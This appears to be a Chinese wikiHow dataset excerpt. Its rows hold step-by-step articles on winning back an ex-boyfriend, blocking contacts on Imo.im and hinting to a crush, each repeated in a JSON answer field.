深入讨论你们的分歧，达成一致意见。不要还没解决当初导致分手的问题，就重新开始一段感情。
4-9. 尊重他的决定。
他可能会同意复合，也可能认为分手是最好的选择。如果他不想复合，不要生他的气。要明白你并不能控制这些情况。
如果你们真的复合了，就不要再提过去。决定开始一段感情之前，你们必须先谈一谈过去的事。
如果他决定不复合，你也不要做出过激的反应。他可能还没有准备好。过激反应可能会破坏掉以后的复合机会。
问问他最终是否决定不再复合。你要接受你们再也不会谈恋爱的事实。
4-10. 记住，别人无法定义你的价值。
无论结果如何，你的价值都不是由另一半决定的。不管他决定的结果如何，你都要保持自信和独立。
小提示
把你探险的照片拍下来并发布到社交媒体上。让他知道没有他你也过得很开心。[29]
X
研究来源
在打电话、发短信和出去玩期间，你需要花点儿时间进行联系。但不要急于复合。
做你自己。不要为了吸引他而试图改变自己。
复合并不能保证你们会在一起。有些感情注定不会有结果。分手后再复合并不能保证你们就会一直在一起。
警告
不要用自残或者暴力行为来威胁前男友。
如果他不想和你联系，你要尊重他的决定。一直反复联系不想被联系的人是不恰当的行为。
不要过多地联系前男友。虽然你的生活中看似不能没有他，但要知道过多的接触对你和前男友都没有好处。
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"回答明细": "{\"回答\": \"1. 想想他为什么要和你分手\\n1-1. 弄明白这段关系结束的原因。\\n是因为争吵、出轨等行为，还是你感觉到他逐渐丧失了兴趣？弄清楚他和你分手的原因，能帮你想明白复合是不是最佳选择。\\n想想他在分手前几周的行为。这能帮你确定这段关系是否还能够拯救。\\n如果是由于意见不合而突然分手，那么他可能只是需要冷静一段时间。\\n如果这段关系出问题已经持续好几个月了，那你就要考虑一下是否让他回来是否值得。\\n1-2. 思考争吵的原因。\\n如果是因为争吵而导致了分手，那么弄清楚争吵的原因可以帮你解决这个问题。这是你们第一次吵架，还是一直都在争吵？人们总是会经历吵架、分手、和好的过程，但如果已经形成了一种模式，那就意味着这段关系在整体上存在着更严重的问题。\\n如果是身体上的冲突，你要明白身体上的暴力行为永远是不可以的。和对你进行身体暴力的人复合并不是一个好主意。\\n另外，绝对不要对另一半使用暴力。如果你有或者有过想要伤害自己伴侣的想法，可以向朋友、家人甚至医生寻求帮助。\\n1-3. 考虑一下你是否能够原谅出轨行为。\\n如果这段关系是因为出轨而结束的，那你就要想想你们的关系能否成为一段稳健的关系。通常情况下，一段因为出轨而结束的关系会一直保持这种状态。\\n如果是他出轨，想想你是否真的能原谅他。如果是最近才分手，那你可能会有一些情绪化的反应。\\n如果是你出轨，想一想让他回来对他而言是否公平。出轨和背叛对大多数人来说都是难以释怀的。\\n出轨可能有深层的根本原因。有可能是因为出轨的那个人对这段关系并不满意。\\n1-4. 了解他为什么丧失了兴趣。\\n如果你们的感情因为对方丧失了兴趣而变淡，那你就要想一想原因。也许是时机不对，可能你正处于一段困难的时期，或者你可能不是他命中注定的那个人。\\n他可能会因为你们其中某个人的改变而丧失兴趣。你可能由于当下的困境而发生了暂时的改变，或者你可能已经变得更好，有时人们就会逐渐产生隔阂。\\n如果这段关系的结束是因为你们其中一个人或者双方都发生了改变，那么你们最好各自继续往前走。\\n1-5. 接受错误。\\n如果觉得自己做错了什么，你应该接受并准备好承认自己的错误。如果你让他觉得痛苦，那他很可能是被你的行为伤害到了。\\n注意以后不要再犯类似的错误。如果你们复合了，千万不要再重复你的错误。\\n1-6. 弄清楚自己的意图。\\n想一想你是真的想和他复合，还是只是因为他和你分手了，你才想让他回来。你可能觉得分手时自己的自信心受到了伤害，有必要证明你可以让他回心转意。或者，分手可能会让你意识到你有多在乎他。\\n如果不是真诚的意愿，就不要试图和他复合了。这只会让双方都很受伤。\\n2. 给予对方一定的空间\\n2-1. 要有耐心。\\n让他回心转意可能只需要很短的时间，也可能是一个漫长的过程。不管怎样，你都需要给他一些空间。\\n2-2. 下决心在一段时间内不要联络对方。\\n你可以和他断绝一周、一个月甚至几个月的联系。断绝联系的时间长短取决于你们的关系和分手情况。\\n如果你觉得短时间内不要联系对你来说是最好的，可以尝试一周都不要和对方联系。\\n如果分手过程很艰难，那就至少一个月不要联系对方。\\n在此期间，如果他联系你，尽量不要回他的信息或者电话。你可能会在一段时间之后决定和他联系，但是现阶段完全断绝联系能够让他重新恢复兴趣。\\n2-3. 别再给他打电话和发短信。\\n如果你一遍又一遍地给前男友打电话或者发短信，是时候停止和他联系了。停止联系可以给对方一个喘息的空间，让他冷静下来。这也能给他机会来思考他是否做错了什么。\\n2-4. 不要通过社交媒体联系他。\\n你可能想在社交媒体上和他解除好友关系，但这没有必要。不过重要的是，不要去评论或者点赞他发布的任何东西，也不要给他发信息。\\n只有当你发现很难避免与他联系或者是查看他发布的内容时，再考虑和他解除好友关系，否则最好将这种交流方式一直保留到以后。\\n不要看他在社交媒体上发布的内容。看到他在没有你的情况下玩得很开心，只会让你更伤心。\\n2-5. 尽量避免见到他本人。\\n避免去他最喜欢去的地方，或者是和你们的共同朋友出去玩。不要过多地改变你自己的生活，但是尽量避免和他面对面的交流。\\n如果你和前男友一起工作或者上学，可以保持友好和专业的态度，但是在非必要的情况下，不要和他说话。\\n2-6. 放松享受生活。\\n不要花太多精力去逃避前男友，尽最大的努力去做自己喜欢的事情。如果你对分手的态度并不绝望或者迫切，那他可能就会意识到你的价值所在。\\n3. 专注于自身\\n3-1. 给自己时间去悲伤难过。\\n分手后感到情绪化是正常的，不要试图压抑你的悲伤。在释放了自己的情绪之后，你才能够用清晰的头脑来思考和处理复合的事。\\n因为分手而感到悲伤是正常的。如果悲伤蔓延到生活的各个方面，并且没有随着时间的推移而有所改善，你就应该寻求帮助。\\n如果睡眠、饮食和注意力受到了影响，并且持续超过了两周，你应该寻求帮助。如果有自残或者自杀的想法，一定要寻求帮助。\\n不要自怨自艾，让自己承受太多压力。给自己一点时间去感伤，但不要忘记自身积极的一面。\\n3-2. 用创造性的方式释放自己的情绪。\\n把想法写在日记里、画画，甚至写歌。写作和艺术都是抒发思想情感的方法。\\n3-3. 为朋友和家人腾出时间。\\n有时候分手会让你感到孤独，并且在恋爱过程中也经常会与一些朋友失去联系。在与前男友分开的这段时间里，你可以与朋友和家人联系。和你爱的人在一起是一种正面积极的疗伤方式，可以帮助你建立自信，修复受伤的感情。\\n3-4. 在外表上做出积极的改变。\\n你现在的样子没有什么问题，但改变外表通常是获得自信的一种捷径。外貌上的变化可以小到洗牙，大到换个新发色。\\n买一套新衣服。新衣服可以展现出你有趣、性感或者个性的一面。\\n开始锻炼。健康的生活方式对你有好处，前男友可能也会注意到你的改变。\\n3-5. 尝试新事物。\\n现在是一个很好的时机去尝试自己一直想做的事情。尝试一些新事物可以帮你从分手的阴影中走出来，防止你太快与他联系。\\n上瑜伽课。\\n前往一个没去过的地方旅行。\\n上烹饪课。\\n在收容中心做志愿者。\\n3-6. 记住真正的你是什么样的。\\n分手并不会让你缺失什么。花点儿时间回想一下是什么让你的前男友爱上了你。\\n想想你的优点，同时也要思考你的缺点。不要老纠结于自己的缺点，要想办法改正它们。\\n4. 保持友好往来\\n4-1. 等你真正准备好了再联系对方。\\n在你决定好不联系他的时间段内坚持断绝联系，不要因为强烈的欲望而说服自己在短时间内就联系他。你要在头脑清晰、意志坚强的情况下才与他联系，这对你和前男友都有好处。\\n4-2. 从小事做起。\\n通过点赞他在社交媒体上发布的内容，开始尝试与他联系。如果你们在社交媒体上不是好友关系，那就给他发一条短信。\\n如果发短信，对话内容不要过于冗长。告诉他你希望他一切都好，或者是你看到了让你想起他的事物。\\n4-3. 给他发一条短信。\\n先对他进行问候，或者是问问他最近怎么样。尝试进行一次轻松的交流。\\n不要告诉他你很想他、爱他，或者想要他回心转意。\\n如果他不回复，不要反复给他发短信，至少要等几天或者一周后再试一次。如果他一直都没有回复，别再继续联系他了。\\n4-4. 给他打个电话。\\n如果他开始回复你的短信，你可以试着给他打电话。分开一段时间之后再听到你的声音，能够让他意识到他有多想念有你在他生命中的时光。\\n暂时不要谈论你们的关系。告诉他你的近况，问问他最近怎么样。\\n如果他一开始没有作出你想要的回应，不要太生气或者是情绪化。\\n4-5. 邀请他出去。\\n你现在还不需要和他开始约会。试着邀请他一起出去玩，或者是约他一起参加某项活动。\\n约他出去喝杯咖啡。\\n提出一起去远足或者散步的建议。\\n邀请他去看他感兴趣的电影，或者是参加他感兴趣的活动。\\n4-6. 慢慢来。\\n不要指望可以重新回到你们曾经的关系。要明白他可能还是感到很受伤或困惑。以朋友般的方式相处，不要试图强求任何事。\\n告诉他在分开的时候你尝试了哪些新事物。\\n利用分手时期获得的自信让他知道你是多么亲切有趣。\\n4-7. 含蓄地提出复合的想法。\\n告诉他你很享受和他在一起的时光，让他知道你想和他继续谈恋爱。不要在他刚开始感觉和你在一起很舒服的时候乞求复合。\\n不要一开始就要求复合。告诉他你有打算复合的想法。\\n让他知道你想复合，告诉他你们已经分开足够长的时间，可以重新开始了。\\n4-8. 促膝长谈。\\n你可能想要重新开始，但是要知道如果不谈论过去的事，你们是很难重归于好的。听一听他的感受和担忧，和他冷静地谈谈你对这件事的看法。\\n深入讨论你们的分歧，达成一致意见。不要还没解决当初导致分手的问题，就重新开始一段感情。\\n4-9. 尊重他的决定。\\n他可能会同意复合，也可能认为分手是最好的选择。如果他不想复合，不要生他的气。要明白你并不能控制这些情况。\\n如果你们真的复合了，就不要再提过去。决定开始一段感情之前，你们必须先谈一谈过去的事。\\n如果他决定不复合，你也不要做出过激的反应。他可能还没有准备好。过激反应可能会破坏掉以后的复合机会。\\n问问他最终是否决定不再复合。你要接受你们再也不会谈恋爱的事实。\\n4-10. 记住，别人无法定义你的价值。\\n无论结果如何，你的价值都不是由另一半决定的。不管他决定的结果如何，你都要保持自信和独立。\\n小提示\\n把你探险的照片拍下来并发布到社交媒体上。让他知道没有他你也过得很开心。[29]\\nX\\n研究来源\\n在打电话、发短信和出去玩期间，你需要花点儿时间进行联系。但不要急于复合。\\n做你自己。不要为了吸引他而试图改变自己。\\n复合并不能保证你们会在一起。有些感情注定不会有结果。分手后再复合并不能保证你们就会一直在一起。\\n警告\\n不要用自残或者暴力行为来威胁前男友。\\n如果他不想和你联系，你要尊重他的决定。一直反复联系不想被联系的人是不恰当的行为。\\n不要过多地联系前男友。虽然你的生活中看似不能没有他，但要知道过多的接触对你和前男友都没有好处。\\n\", \"简要回答\": \"当男朋友要和你分手时，你首先想做的可能是给他打电话，告诉他你的感受，希望他能和你复合。你可能觉得有必要告诉他你希望重新开始这段感情，但是首先你需要考虑一下复合是否对双方都有利。如果真的想让男朋友回心转意，就应该给他一些空间，同时不断让自己变得更好，并和他保持友好往来。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"想想他为什么要和你分手\", \"步骤\": [{\"编号\": 1, \"标题\": \"弄明白这段关系结束的原因。\", \"描述\": \"是因为争吵、出轨等行为，还是你感觉到他逐渐丧失了兴趣？弄清楚他和你分手的原因，能帮你想明白复合是不是最佳选择。\\n想想他在分手前几周的行为。这能帮你确定这段关系是否还能够拯救。\\n如果是由于意见不合而突然分手，那么他可能只是需要冷静一段时间。\\n如果这段关系出问题已经持续好几个月了，那你就要考虑一下是否让他回来是否值得。\"}, {\"编号\": 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\"想一想你是真的想和他复合，还是只是因为他和你分手了，你才想让他回来。你可能觉得分手时自己的自信心受到了伤害，有必要证明你可以让他回心转意。或者，分手可能会让你意识到你有多在乎他。\\n如果不是真诚的意愿，就不要试图和他复合了。这只会让双方都很受伤。\"}]}, {\"编号\": 2, \"标题\": \"给予对方一定的空间\", \"步骤\": [{\"编号\": 1, \"标题\": \"要有耐心。\", \"描述\": \"让他回心转意可能只需要很短的时间，也可能是一个漫长的过程。不管怎样，你都需要给他一些空间。\"}, {\"编号\": 2, \"标题\": \"下决心在一段时间内不要联络对方。\", \"描述\": \"你可以和他断绝一周、一个月甚至几个月的联系。断绝联系的时间长短取决于你们的关系和分手情况。\\n如果你觉得短时间内不要联系对你来说是最好的，可以尝试一周都不要和对方联系。\\n如果分手过程很艰难，那就至少一个月不要联系对方。\\n在此期间，如果他联系你，尽量不要回他的信息或者电话。你可能会在一段时间之后决定和他联系，但是现阶段完全断绝联系能够让他重新恢复兴趣。\"}, {\"编号\": 3, \"标题\": \"别再给他打电话和发短信。\", \"描述\": \"如果你一遍又一遍地给前男友打电话或者发短信，是时候停止和他联系了。停止联系可以给对方一个喘息的空间，让他冷静下来。这也能给他机会来思考他是否做错了什么。\"}, {\"编号\": 4, \"标题\": \"不要通过社交媒体联系他。\", \"描述\": \"你可能想在社交媒体上和他解除好友关系，但这没有必要。不过重要的是，不要去评论或者点赞他发布的任何东西，也不要给他发信息。\\n只有当你发现很难避免与他联系或者是查看他发布的内容时，再考虑和他解除好友关系，否则最好将这种交流方式一直保留到以后。\\n不要看他在社交媒体上发布的内容。看到他在没有你的情况下玩得很开心，只会让你更伤心。\"}, {\"编号\": 5, \"标题\": \"尽量避免见到他本人。\", \"描述\": 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\"现在是一个很好的时机去尝试自己一直想做的事情。尝试一些新事物可以帮你从分手的阴影中走出来，防止你太快与他联系。\\n上瑜伽课。\\n前往一个没去过的地方旅行。\\n上烹饪课。\\n在收容中心做志愿者。\"}, {\"编号\": 6, \"标题\": \"记住真正的你是什么样的。\", \"描述\": \"分手并不会让你缺失什么。花点儿时间回想一下是什么让你的前男友爱上了你。\\n想想你的优点，同时也要思考你的缺点。不要老纠结于自己的缺点，要想办法改正它们。\"}]}, {\"编号\": 4, \"标题\": \"保持友好往来\", \"步骤\": [{\"编号\": 1, \"标题\": \"等你真正准备好了再联系对方。\", \"描述\": \"在你决定好不联系他的时间段内坚持断绝联系，不要因为强烈的欲望而说服自己在短时间内就联系他。你要在头脑清晰、意志坚强的情况下才与他联系，这对你和前男友都有好处。\"}, {\"编号\": 2, \"标题\": \"从小事做起。\", \"描述\": \"通过点赞他在社交媒体上发布的内容，开始尝试与他联系。如果你们在社交媒体上不是好友关系，那就给他发一条短信。\\n如果发短信，对话内容不要过于冗长。告诉他你希望他一切都好，或者是你看到了让你想起他的事物。\"}, {\"编号\": 3, \"标题\": \"给他发一条短信。\", \"描述\": \"先对他进行问候，或者是问问他最近怎么样。尝试进行一次轻松的交流。\\n不要告诉他你很想他、爱他，或者想要他回心转意。\\n如果他不回复，不要反复给他发短信，至少要等几天或者一周后再试一次。如果他一直都没有回复，别再继续联系他了。\"}, {\"编号\": 4, \"标题\": \"给他打个电话。\", \"描述\": \"如果他开始回复你的短信，你可以试着给他打电话。分开一段时间之后再听到你的声音，能够让他意识到他有多想念有你在他生命中的时光。\\n暂时不要谈论你们的关系。告诉他你的近况，问问他最近怎么样。\\n如果他一开始没有作出你想要的回应，不要太生气或者是情绪化。\"}, {\"编号\": 5, \"标题\": \"邀请他出去。\", \"描述\": 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} | wikihow |
14,711 | 如何在Imo.Im上屏蔽好友和取消对好友的屏蔽 | 1. 屏蔽联系人
1-1. 打开你和联系人（你想要屏蔽的联系人）的对话界面。
如果你想要屏蔽某人，你需要先打开和他们的对话。你无法通过手动输入好友的用户名来屏蔽他们。
在安卓设备、iPhone和Windows设备上，这个操作大致是相同的。
1-2. 轻触或点击对话顶部的“屏蔽”按钮。
程序会提示你确认屏蔽用户的操作。
1-3. 轻触或点击“确认”键来确认屏蔽用户。
屏蔽的用户会被添加到屏蔽列表中，他们也无法再给你发短信或打电话了。同时，他们也不能查看你是否在线或下线了。
2. 取消屏蔽联系人
2-1. 轻触菜单按钮。
它位于左下角，图标是三条横线（☰），上面会显示你的用户名和多个选项。
如果你使用的是Windows聊天客户端，请点击“imo”菜单，选择“黑名单”。
2-2. 轻触你的用户名，这会打开一个带有多个选项的新菜单。
2-3. 向下滑动屏幕，轻触“黑名单”。
这会打开你屏蔽的用户列表。
2-4. 如果你想要解除对某个联系人的屏蔽，可以点击联系人用户名旁边的“取消屏蔽”按钮。
再次轻触“取消屏蔽”按钮来确认取消操作。这样，之前被拉黑的用户会返回到你的联系人列表中。此时，你们可以互相呼叫对方、发送短信了。
警告
当你在线的时候，被你屏蔽的用户是无法联系你的，除非你解除对他（她）的屏蔽后，才能互相联系。
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14,712 | 如何暗示你的意中人你喜欢他 | 1. 把握好肢体语言
1-1. 进行眼神接触，然后移开。
有一个方法不需要开口就能让意中人知道你对他的喜欢，那就是注视着他。保持眼神接触一两秒，这个时间长度刚好能让他感受到你的关注，然后往下看地板或者转移视线。这能告诉意中人你喜欢他，但又不会表现得过于明显；如果你一直盯着他看，就会表现得过于强烈了。
如果你们在同一个房间里上课或参加派对，你可以尝试这么做一两次。尽量不要做得太明显；你应该也不想被他发现你老盯着他看吧。
进行眼神接触时，你甚至还可以给他一个稍微有点撩人的笑容。
1-2. 微笑。
你不需要咧嘴大笑来告诉他你对他感兴趣。只需要看着他，给他一个淡淡的笑，然后移开视线，或开始和他交谈。你的笑容不应该过于灿烂或热情，否则他可能会以为你只是出于礼貌才这样做。相反，在对他笑时尽量保持一点神秘感，这样你就能委婉地让他知道你对他的喜欢了。
如果你想提升你的撩人功力，可以在网上搜索一下如何用眼睛来微笑。
1-3. 将身体朝向你的意中人。
一些简单的开放式肢体语言也可以告诉意中人你喜欢他。“开放”指的是面向你的意中人站直，脚和肩膀朝向他，双臂微微张开，而不要将双臂交叉在胸前。这可以告诉意中人你对他感兴趣，而且你喜欢待在他身边。下次站在或坐在他旁边时，确保你将身体转向他的方向，让他知道你喜欢他。
比如，如果你翘着腿和他交谈，确保双腿交叉的方向是朝向他的，而不是偏离他的，这样你的姿势看上起来更开放。
1-4. 靠近他。
不管你们是在交谈，还是在参加同一个派对，靠近对方也能让他知道你喜欢他。你不必太过冒失，过早地和他开始聊亲密的话题，让他感到不自在。只需要在社交场合靠近他，以此来告诉他你喜欢他。不要粘着他，只要对他表现出比对其他在场的男生更多的关注，比如站在他身边、坐在他身边，或当你们在同一个小组的时候总找机会和他聊天等，这样他便会明白你喜欢他。
和他交谈时，你可以在谈话过程中尽量靠近他一点。如果他没有躲开，反而朝你靠近，说明他在回应你的感情。
1-5. 开始肢体接触。
不要开口，轻轻地触碰意中人一两下，这样他便会知道你的心意。和他交谈或者从他身边经过时，你可以轻轻地碰碰他的肩膀或手臂。当他拿你开玩笑时，开玩笑地拍打他的手臂。站在或坐在他身边时，你可以漫不经心地让你们的脚和膝盖时不时触碰到一起，这会让他明白你想靠近他。
一点点肢体接触便足以让意中人知道你喜欢他。不要做得太明显；只需要在和他交谈时触碰他一两次，他便能明白你的心意。
1-6. 呈现出自己最好的状态。
这并不意味着你要穿上自己最漂亮的衣服，或是画上很浓的妆，以此来吸引意中人的注意。而是在和意中人交谈的时候，你应该打扮得美观、有活力和整洁。认真打扮能提升你的自信心，并让意中人了解到你想给他留下好印象。穿上让自己舒适自在的衣服，不要穿得完全不像平时的自己。
当你和意中人以及几个朋友一起出去玩时，好好打扮自己能让他知道你在乎自己在他眼中的形象，并愿意为此花心思，从而明白你喜欢他。
2. 给出一些暗示
2-1. 成为朋友。
告诉男生你喜欢他的一个方法是成为他的朋友。只要你还没有被他划定为只适合做朋友的人，这样做可以告诉他你真的对他很感兴趣。 无论你们在一个小组项目中合作，还是和朋友们一起出去玩的时候，问问他一些生活中的问题，分享他的兴趣，花些时间和他在一起。不过要确保他没有把你当成知心姐姐或哥们，而且不要变成专门听他诉说恋爱烦恼的那种朋友。
成为他的朋友能让他知道你想靠近他。这是告诉他你喜欢他的一个好方法，如果你本来就没有太多男性朋友，这个方法的效果就更为明显了。这也能帮助你在坠入爱河之前，好好地了解一下这个男生。我们对一个人的感觉通常都只是心血来潮而已，我们的所作所为可能会比较冲动。先做朋友能在你们开始恋爱前验证你是否真的钟情于他。
慢慢来。如果你还不怎么了解他，从简单的对话开始，然后和他一起出去玩，慢慢地了解他。
2-2. 不要炫耀。
如果你想告诉意中人你喜欢他，那么你在他身边的时候应该舒适自在，表现出真实的自己。如果你发现自己在吹嘘，说你自己有多好，用夸张的故事来博取笑声，或只是一味地做一些自己平时不会做的事情，这样做无法赢得你意中人的心。相反，如果你表现出真实的自我，无拘无束地畅谈你的兴趣或朋友，他更可能认为你对他真的感兴趣。
记住，到最后，你肯定希望你的意中人喜欢的是最真实的那个你。你肯定不希望他因为你假装成另一种样子才喜欢你，否则你们真正开始恋爱后很难顺利进展下去，因为你不可能一直假装成另外一种样子。
2-3. 送他一个小礼物。
有一个简单的方法可以告诉心上人你喜欢他，而且不会表现得过于激进，那就是送他一个小礼物。只需要给他买一些他曾经提起，或者你觉得他会喜欢的东西，比如一本书或者一张CD。如果他来上课的时候总忘记带笔，你也可以很实诚地给他买一些更实用的东西，比如一盒笔。送礼物的时候，你可以附上一张小纸条并亲自交给他，或放在他的桌子上。
当然，这个方法只适用于你已经认识他，或者你们已经成为朋友的情况。如果你们还不认识，那么送他礼物可能会吓到他。
2-4. 通过问问题来表现出你的关心。
对意中人表示真诚的关心也能告诉他你喜欢他。为此，你只需要简单地问问关于他生活的一些问题，并尽力专心地聆听他的回答，而不是在思考自己下一步要做什么。问问他周末打算做什么，喜欢哪些球队；这会让他知道你很关心他这个人，并且有点喜欢他。
你也可以问起他的宠物、他最喜欢的电影，或他平时最喜欢玩些什么。
刚开始不要问太多私人问题，否则他可能会因此而觉得尴尬。
确保你也和他分享一些自己的事情；毕竟你也不想搞得好像在审问他一样吧。
2-5. 和他开玩笑。
当你开始和他开一些玩笑，他可能就会意识到你对他的喜欢。为了传递你对他的感情，你不需要开过分的玩笑；只需要调戏一下他的新发型、他最喜欢的球队（尤其是他们一直在输的情况下），他对他最爱的乐队的迷恋，或是他不会太往心里去的其它东西。这会让他明白你很喜欢他，所以才和他玩笑。
确保他知道你只是在开玩笑，而且玩笑要控制在他所能接受的范围内。或许他会对他最爱的球队很敏感。比如其实你可以想想，他喜欢的球队一直在输这事有什么好笑的呢？
让他明白你不是和每个人都会这样开玩笑。如果他认为你和他的每个朋友也会开一样的玩笑，他就会觉得他对你而言并不特别。
2-6. 帮助他。
当你开始帮助意中人，他会怀疑你喜欢他。你不需要做得太多，只需要帮他做一些小事情，让他感受到你对他的喜欢。比如在他生病的时候辅导他做作业，把课本借给他，或者回答一些他的问题。这能很好地表现出你很关心他，前提是他不是在利用你。
照理说，他也应该想办法帮你。你应该也不想让他觉得你可以随叫随到吧。
看看你能做些什么来帮他。他可能不好意思开口让你教他做作业，但你可以主动提出帮他，然后看看他怎么说。
2-7. 与他调情
调情绝对能让意中人知道你喜欢他。为此，你需要逗逗他，和他开开玩笑，并且对他表现出比对其他在场男生都要高的兴趣。你可以对他微笑，在他说笑话时哈哈大笑，用尽方法让他知道你想和他多点相处，以此来告诉他你喜欢他。同时你也可以玩玩欲擒故纵的把戏。
你可能会觉得调情这个技巧有点难掌握，但基本来说，它意味着在和意中人聊一些轻松的话题时，不要把自己太当回事了。要让他知道你既想听听他说的话，同时也想和他开开玩笑。
和意中人聊天的时候，你可以舔舔嘴唇或玩玩头发，这样看起来就更加撩人了。
3. 真正地去告诉他
3-1. 不要让朋友去告诉他。
如果你想让意中人知道你有多喜欢他，应该亲自告诉他，即使是写封信告诉他也好。虽然让朋友去告诉他更简单，但这样一来他可能会觉得你还没有准备好开始一段成熟的恋爱，或者你没有勇气自己去告诉他。如果你让别人告诉他，即使他说他也喜欢你，你们还是没法顺利开始正式交往。
另外，如果你不想让朋友围着他，把他惹怒，最好尊重他的隐私，亲自去告诉他你对他的感情。
3-2. 给他写一个小纸条或一封信。
如果你没有勇气当面告诉意中人你喜欢他，可以给他写一个小纸条或者一封稍长的信，告诉他你对他的感觉。把信塞进他的抽屉或当面交给他。告诉他你喜欢他，如果可以，不妨给出一两个你喜欢他的理由，并问问他是否愿意接受你的感情。这是一个将你的感情直接告诉他的好方法，同时又能避免面对面告白的压力。
写得简洁明了。在知道他是否愿意接受你的感情之前，你应该也不想让他知道太多关于你喜欢他的细节吧。
你可以告诉他怎样联系你最好，在哪里给你答复，或直接将你的电话号码告诉他。
3-3. 打电话给他。
你也可以选择打个电话给他，简单地告诉他你对他的感觉。是的，这个方法理论上意味着用言语告诉他你对他的感觉。如果你发现用行动来告白没有效果时，是时候试试这个方法了。打个电话给他，深呼吸，简短地告诉他你对他的感觉，然后问他是否愿意接受你的感情。你很快就能得到答复了。
只需要说一些类似这样的话：“过去几周和你在一起很开心，我想让你知道我喜欢你。你是否和我有着同样的感受？”
3-4. 当面告诉他。
如果你觉得打电话告诉他不是很合适，那么你应该选择在恰当的时间和地点和他当面谈一谈。问问他是否愿意和你单独约在某个地方，你可以进行眼神接触，并简单地告诉他你的感受。给他一些时间去反应和回应，尽量不要给他施加压力；营造轻松而不是凝重的谈话氛围。
你也可以先随便聊点别的，让他放松心情，但不要害怕转移话题，直接说出你对他感受。
当你告诉他你喜欢他时，可以加上对他的一两句小赞美。你可以像这样说：“没有人能像你这样逗我笑”来解释你为什么喜欢他。
3-5. 理智地回应。
一旦意中人知道你的心意，他可能会说他也喜欢你，也可能会告诉你他还是觉得你们比较适合做朋友。如果他告诉你他也喜欢你，那么你们可以一起庆祝，并为开启一段恋情而兴奋不已。如果他对你没有相同的感觉，你应该保持理智，并积极地对待这件事，而不是反应过激，或让他因为没有喜欢你而愧疚不已。虽然你肯定会不开心，但你可以装得潇洒一些，在意中人离开之后再一个人独自难过。
无论发生了什么，你都应该留下一个好印象。如果你在他说了对你没感觉之后对他破口大骂，或很刻薄地对待他，你会追悔莫及的。
即使他对你没有相同的感觉，他还是会因为你对他坦诚而尊重你。你应该为自己能主动追求自己的幸福而感到骄傲。
小提示
保持镇定与轻松。
在喜欢的人面前出糗是一件很正常的事情。如果他喜欢你，他会对此微微一笑或者忽略它，当做没有事情发生。这两种反应都能说明他在乎你！
你的肢体语言会透露出你对他的感觉。
约他出去时，感到紧张是很正常的。
在他或者其他人身边时，不要表现得做作或刻薄，因为他会注意到，而且不会再喜欢你。
不要和他开过分的玩笑，记得你们的界限。
确保你是真的非常爱他之后再向他告白。如果你告诉他之后才意识到你并非想象中那么爱他，你很难开口告诉他真相。这甚至比告诉他你喜欢他还要难。
表白的时候确认他的朋友都不在。
不要为了他而伪装成一个另一种样子。展示你的个人本色。如果他不能接受你最真实的样子，那么他并不适合你。
让意中人知道你因为他真实的样子而喜欢他。
试着表现出你的性感与自信。男孩们都喜欢懂得捍卫信仰和自己的女孩。
积极并自信！
不要让他无所适从，这会让大家都很尴尬。
警告
不要忽略他。如果他愿意和你出去，这是一个好征兆。
不要为了引起他的注意而改变自己。如果他喜欢你，他会喜欢你原本的样子。
在他旁边的时候，不要一直傻笑。这可能会让他有点烦。
如果你太刻意表现，他会发现到的。
肢体语言很重要，所以确保你对他的肢体语言是开放式的，但不要吓着他了。
过度的调情“从来都不是”什么好事。
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"回答明细": "{\"回答\": \"1. 把握好肢体语言\\n1-1. 进行眼神接触，然后移开。\\n有一个方法不需要开口就能让意中人知道你对他的喜欢，那就是注视着他。保持眼神接触一两秒，这个时间长度刚好能让他感受到你的关注，然后往下看地板或者转移视线。这能告诉意中人你喜欢他，但又不会表现得过于明显；如果你一直盯着他看，就会表现得过于强烈了。\\n如果你们在同一个房间里上课或参加派对，你可以尝试这么做一两次。尽量不要做得太明显；你应该也不想被他发现你老盯着他看吧。\\n进行眼神接触时，你甚至还可以给他一个稍微有点撩人的笑容。\\n1-2. 微笑。\\n你不需要咧嘴大笑来告诉他你对他感兴趣。只需要看着他，给他一个淡淡的笑，然后移开视线，或开始和他交谈。你的笑容不应该过于灿烂或热情，否则他可能会以为你只是出于礼貌才这样做。相反，在对他笑时尽量保持一点神秘感，这样你就能委婉地让他知道你对他的喜欢了。\\n如果你想提升你的撩人功力，可以在网上搜索一下如何用眼睛来微笑。\\n1-3. 将身体朝向你的意中人。\\n一些简单的开放式肢体语言也可以告诉意中人你喜欢他。“开放”指的是面向你的意中人站直，脚和肩膀朝向他，双臂微微张开，而不要将双臂交叉在胸前。这可以告诉意中人你对他感兴趣，而且你喜欢待在他身边。下次站在或坐在他旁边时，确保你将身体转向他的方向，让他知道你喜欢他。\\n比如，如果你翘着腿和他交谈，确保双腿交叉的方向是朝向他的，而不是偏离他的，这样你的姿势看上起来更开放。\\n1-4. 靠近他。\\n不管你们是在交谈，还是在参加同一个派对，靠近对方也能让他知道你喜欢他。你不必太过冒失，过早地和他开始聊亲密的话题，让他感到不自在。只需要在社交场合靠近他，以此来告诉他你喜欢他。不要粘着他，只要对他表现出比对其他在场的男生更多的关注，比如站在他身边、坐在他身边，或当你们在同一个小组的时候总找机会和他聊天等，这样他便会明白你喜欢他。\\n和他交谈时，你可以在谈话过程中尽量靠近他一点。如果他没有躲开，反而朝你靠近，说明他在回应你的感情。\\n1-5. 开始肢体接触。\\n不要开口，轻轻地触碰意中人一两下，这样他便会知道你的心意。和他交谈或者从他身边经过时，你可以轻轻地碰碰他的肩膀或手臂。当他拿你开玩笑时，开玩笑地拍打他的手臂。站在或坐在他身边时，你可以漫不经心地让你们的脚和膝盖时不时触碰到一起，这会让他明白你想靠近他。\\n一点点肢体接触便足以让意中人知道你喜欢他。不要做得太明显；只需要在和他交谈时触碰他一两次，他便能明白你的心意。\\n1-6. 呈现出自己最好的状态。\\n这并不意味着你要穿上自己最漂亮的衣服，或是画上很浓的妆，以此来吸引意中人的注意。而是在和意中人交谈的时候，你应该打扮得美观、有活力和整洁。认真打扮能提升你的自信心，并让意中人了解到你想给他留下好印象。穿上让自己舒适自在的衣服，不要穿得完全不像平时的自己。\\n当你和意中人以及几个朋友一起出去玩时，好好打扮自己能让他知道你在乎自己在他眼中的形象，并愿意为此花心思，从而明白你喜欢他。\\n2. 给出一些暗示\\n2-1. 成为朋友。\\n告诉男生你喜欢他的一个方法是成为他的朋友。只要你还没有被他划定为只适合做朋友的人，这样做可以告诉他你真的对他很感兴趣。 